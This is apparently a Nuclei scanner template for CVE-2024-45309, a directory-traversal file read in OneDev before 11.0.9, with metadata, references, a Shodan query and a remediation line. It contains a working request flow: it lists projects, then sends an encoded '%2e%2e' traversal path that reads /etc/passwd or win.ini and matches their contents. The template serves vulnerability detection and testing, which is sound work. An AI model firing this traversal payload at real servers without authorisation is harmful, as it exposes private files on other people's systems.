id: CVE-2024-45309

info:
  name: OneDev.io < 11.0.9 - Arbitrary File Read
  author: isacaya
  severity: high
  description: |
    Files on the host computer can be accessed by directory traversal.
  impact: |
    An attacker would be able to view the contents of a file on the computer.
  remediation: |
    Update to version 11.0.9.
  reference:
    - https://x.com/Siebene7/status/1848727539046617324
    - https://github.com/theonedev/onedev/security/advisories/GHSA-7wg5-6864-v489
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45309
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-45309
    cwe-id: CWE-22
    epss-score: 0.88966
    epss-percentile: 0.99546
    cpe: cpe:2.3:a:onedev_project:onedev:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: onedev
    shodan-query: html:"onedev.io"
    product: onedev
    framework: java
  tags: cve,cve2024,lfi,onedev,vuln,vkev

flow: |
  http(1)
  for (let projectName of iterate(template.project)) {
    set("project", projectName)
    http(2)
  }

http:
  - raw:
      - |
        GET /~projects HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "onedev")'
        internal: true

    extractors:
      - type: regex
        part: body
        name: project
        group: 3
        regex:
          - '<a class="mr-([0-9]+)" id="([a-z0-9]+)" href="(.*)">'
        internal: true

  - raw:
      - |
        GET {{project}}/~site////////%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'root:.*:0:0:'
          - '\\[(font|extension|file)s\\]'
        condition: or

      - type: word
        part: header
        words:
          - 'filename='
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200
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